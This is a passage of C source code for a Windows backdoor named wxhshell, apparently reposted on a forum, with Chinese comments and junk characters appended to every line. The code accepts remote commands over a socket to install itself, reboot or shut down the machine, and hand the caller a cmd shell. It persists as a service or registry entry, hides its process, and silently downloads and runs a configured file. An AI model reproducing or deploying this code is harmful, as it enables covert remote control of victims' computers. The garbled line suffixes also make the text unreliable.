  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~i y]X:U  
  } (+ibT;!]  
  else { !+# pGSk  
J"Z=`I)KON  
    switch(cmd[0]) { 5x:dhkW  
  @fSBW+  
  // 帮助 =1'vXPv`  
  case '?': { fNnemn@>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @XL5$k[Y  
    break; ij<6gv~ n"  
  } c;dMXv   
  // 安装 e=m=IVY #W  
  case 'i': { BQfq]ti  
    if(Install()) t/TWLhx/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +__PT4ps  
    else ^<VJ8jk<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [|!A3o  
    break; K7CrRT3>6  
    } IDIok~B=e  
  // 卸载 M'D l_dx-  
  case 'r': { "bC1dl<  
    if(Uninstall()) k6?;D_dm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [R~`6  
    else nPU=n[t8O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J*} warf&  
    break; s}3`%?,6y  
    } m=hUHA,p4  
  // 显示 wxhshell 所在路径 <)dHe:  
  case 'p': { ;mAlF>6]\  
    char svExeFile[MAX_PATH]; {5, ]7=]  
    strcpy(svExeFile,"\n\r"); OmR) W'  
      strcat(svExeFile,ExeFile); A3 |hFk  
        send(wsh,svExeFile,strlen(svExeFile),0); :_f5(N*{5o  
    break; GZwz4=`  
    } (6Tvu5*4U  
  // 重启 6S GV}dAx  
  case 'b': { 5v`[c+@F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (:P-ef$]C  
    if(Boot(REBOOT)) Gjh8>(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v?=y9lEH@%  
    else { #oX8EMqs<  
    closesocket(wsh); XDdF7i}  
    ExitThread(0); `, lry7]  
    } /Qnq,`z  
    break; GWvw<`4  
    } 0mMoDJRy  
  // 关机 G)G 257K"~  
  case 'd': { j @HOU~x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tvlrUp  
    if(Boot(SHUTDOWN)) (rfR:[JkC2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "h'+!2mf  
    else { 'fIoN%  
    closesocket(wsh); f~0CpB*X  
    ExitThread(0); s9)U",  
    } OD O'!T-  
    break; O8Dav^\y?  
    } : [r/ Y  
  // 获取shell 9z$fDs}.q  
  case 's': { Sr#\5UDS  
    CmdShell(wsh); [Ep%9(SgA'  
    closesocket(wsh); D02(6|  
    ExitThread(0); !JGe .U5  
    break; b?kY`LC  
  } 00-cT9C3  
  // 退出 psFY=^69o  
  case 'x': { rd:WF(]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^kO+NH40  
    CloseIt(wsh); +>}LT_  
    break; ``?79MJ5  
    } Nm7YH@x*o  
  // 离开 Z)^1~!w0  
  case 'q': { l{o,"P"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); LpYG!Kl  
    closesocket(wsh); R9z:K_d,  
    WSACleanup(); 6Lb(oY}\3  
    exit(1); ?XIB\7}  
    break; X;&Iu{&=  
        } <c77GimD?  
  } 0;Oe&Y  
  } 8=  kwc   
QHDR* tB:{  
  // 提示信息 xMs!FMn[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b$;qtfJG  
} _@5|r|P>  
  } vk0b b3){D  
|ns B'Q  
  return; DEw>f%&4  
} tP][o494\&  
B%^W$7 q  
// shell模块句柄 bt{b%r  
int CmdShell(SOCKET sock) @u @~gEt  
{ 9]Fi2M  
STARTUPINFO si; 'CMbq Lk#  
ZeroMemory(&si,sizeof(si)); OAauD$Hh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \_]X+o;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SNJSRqWL/  
PROCESS_INFORMATION ProcessInfo; dM=45$\q  
char cmdline[]="cmd"; tiGBjTPt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jP{&U&!i  
  return 0; C<Z{G%Qm  
} U EjP`  
;aN_!! r  
// 自身启动模式 xwF mY'o  
int StartFromService(void) 3Cw}y55_y  
{ %vil ~NU  
typedef struct YSh@+AN  
{ 0,/I2!dF?  
  DWORD ExitStatus; jQrj3*V  
  DWORD PebBaseAddress; |z7V1xF  
  DWORD AffinityMask; ~ \]?5 nj  
  DWORD BasePriority; l+a1`O  
  ULONG UniqueProcessId; -tZ~&1"  
  ULONG InheritedFromUniqueProcessId; GoLK 95"]  
}   PROCESS_BASIC_INFORMATION; .He}f,!f<  
^6On^k[|fw  
PROCNTQSIP NtQueryInformationProcess; l0 8vF$k|d  
02_+{vk!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bu9.Hv T'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GXp`yK9c  
'Qh1$X)R7a  
  HANDLE             hProcess; T-LX>*  
  PROCESS_BASIC_INFORMATION pbi; kV+%(Gl8  
)dd1B>ej]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2 EWXr+IU.  
  if(NULL == hInst ) return 0; bp!Jjct  
O9C&1A|lA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 16ZyLt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `Gj(>z*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dEZUK vo  
lrAhdi  
  if (!NtQueryInformationProcess) return 0; -VeC X]  
xg}Q~,:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b'W.l1]<-  
  if(!hProcess) return 0; Q5^ #:uZ  
^TtL-|I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3vs{*T"  
0|Xz-Y  
  CloseHandle(hProcess); N=PSr4  
=C2KHNc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vc :%  
if(hProcess==NULL) return 0; /&c2O X|Z  
g#MLA5%=u  
HMODULE hMod; o1vK2V  
char procName[255]; 5X f]j=_  
unsigned long cbNeeded; ;I&XG  
v\[+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Cyos *  
$g^D1zkuDT  
  CloseHandle(hProcess); "[eH|z/  
a%A!Dz S  
if(strstr(procName,"services")) return 1; // 以服务启动 GsmXcBzDw2  
<.mH-Y5i  
  return 0; // 注册表启动 g)5mr:\  
} sH.=Faos  
z %Bzf~N9  
// 主模块 @c-  
int StartWxhshell(LPSTR lpCmdLine) +fvD1xHI  
{ | UlG@Mn  
  SOCKET wsl; o@BV&|  
BOOL val=TRUE; !> =ybRe  
  int port=0; 64mg:ed&  
  struct sockaddr_in door; m8=n`XI  
?=ffv]v|  
  if(wscfg.ws_autoins) Install(); J#48c'  
@0 'U p  
port=atoi(lpCmdLine); j*5IRzK1%0  
EJ>&\Iq  
if(port<=0) port=wscfg.ws_port; fZezDm(Q  
+J|H~`  
  WSADATA data; pB4Uc<e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @)BO`;*$fF  
&s='$a; 4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z 7ik/>d?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "bIb?e2h9G  
  door.sin_family = AF_INET; X+C*+k,z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a8f#q]TyQ  
  door.sin_port = htons(port); SfnQW}RGI  
?0_<u4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V D~5]TQ  
closesocket(wsl); \4L ur  
return 1; 0eNdKE  
} +bS\iw+  
 <@<bX  
  if(listen(wsl,2) == INVALID_SOCKET) { ? Bpnnwx  
closesocket(wsl); a$ "nNmD?  
return 1; g5|~ i{"0  
} oGRk/@  
  Wxhshell(wsl); )Cl>%9  
  WSACleanup(); %+H_V1F  
3l~+VBR_  
return 0; BYB4- ,  
`UTPX'Vz  
} d/bimQ  
4LKpEl.=  
// 以NT服务方式启动 :Ln)j%&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |gA@WV-%  
{ (T_-`N|  
DWORD   status = 0; hO]F\0+  
  DWORD   specificError = 0xfffffff; 3uocAmY  
z.Ic?Wz7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bGCC?}\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ==OUd6e}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >jX "  
  serviceStatus.dwWin32ExitCode     = 0; &t^*0/~  
  serviceStatus.dwServiceSpecificExitCode = 0; -67Z!N  
  serviceStatus.dwCheckPoint       = 0; 2n,z`(=  
  serviceStatus.dwWaitHint       = 0; &{V|%u}v  
gS5REC4I/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8f9wUPr  
  if (hServiceStatusHandle==0) return; Hw o _;fV  
LUbj^iQ9  
status = GetLastError(); %dzt'uz  
  if (status!=NO_ERROR) TP rq:"K  
{ uQIPnd(V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?> }p'{I  
    serviceStatus.dwCheckPoint       = 0; Nvgi&iBh8  
    serviceStatus.dwWaitHint       = 0; y>EW,%leC  
    serviceStatus.dwWin32ExitCode     = status; |%C2 cx  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'F d+1 3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `eM ZhY o  
    return; gz~oQ l)zJ  
  } WT'-.UX m  
)Ka-vX)D@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :)~l3:O  
  serviceStatus.dwCheckPoint       = 0; a+E 8s7C/D  
  serviceStatus.dwWaitHint       = 0; DK74s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eUcb e33  
} h mRmU{(Y  
x/DV>Nfn  
// 处理NT服务事件,比如:启动、停止 8ttJ\m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) itYoR-XJ  
{ 9"S2KT@8  
switch(fdwControl) H?=W]<!W{y  
{ :1A:g^n  
case SERVICE_CONTROL_STOP: W3,r@mi^s7  
  serviceStatus.dwWin32ExitCode = 0; w a_{\v=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4Y8=  
  serviceStatus.dwCheckPoint   = 0; : :>|[ND  
  serviceStatus.dwWaitHint     = 0; X5iD <Lh  
  { ~JT`q: l-q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ] 0X|_bU  
  } ?>;aD  
  return; G}8tFo. d1  
case SERVICE_CONTROL_PAUSE: <D.E .^Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !-lI<$S:  
  break; N;3!oo4  
case SERVICE_CONTROL_CONTINUE: z}[ u~P,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <  o?ua}  
  break; juR>4SH  
case SERVICE_CONTROL_INTERROGATE: @D;K&:~|N  
  break; :qdyC sn2  
}; VW*%q0i-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CtCReH03  
} nnyT,e%  
C ~h#pAh  
// 标准应用程序主函数 Qn$'bK2V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \6wltTW]#  
{ n+8YTjd  
1Vy8eI`4  
// 获取操作系统版本 5nx*D"  
OsIsNt=GetOsVer(); a fa\6]m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =Fz mifTc  
8xLQ" l+"  
  // 从命令行安装 *|y'%y  
  if(strpbrk(lpCmdLine,"iI")) Install(); NPH(v`  
FEk9a^Xyx  
  // 下载执行文件 Xex7Lr&  
if(wscfg.ws_downexe) { ^aB;Oo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g$uiwqNA%  
  WinExec(wscfg.ws_filenam,SW_HIDE); wO,qFY  
} +S~ u,=  
jr`T6!\  
if(!OsIsNt) { ]Ozz"4Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 E{Wn&?i>A  
HideProc(); k9 r49lb  
StartWxhshell(lpCmdLine); nk|(cyt)  
} vFe=AY<Rt|  
else t\/H.Hb  
  if(StartFromService()) m~+.vk  
  // 以服务方式启动 r ~{nlLO}  
  StartServiceCtrlDispatcher(DispatchTable); wo&IVy@s$  
else "o- -MBq4  
  // 普通方式启动 (f&V 7n  
  StartWxhshell(lpCmdLine); &E]) sJ0  
;-1KPDIp`  
return 0; dzIBdth  
}
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只看该作者 1 发表于: 2006-10-10
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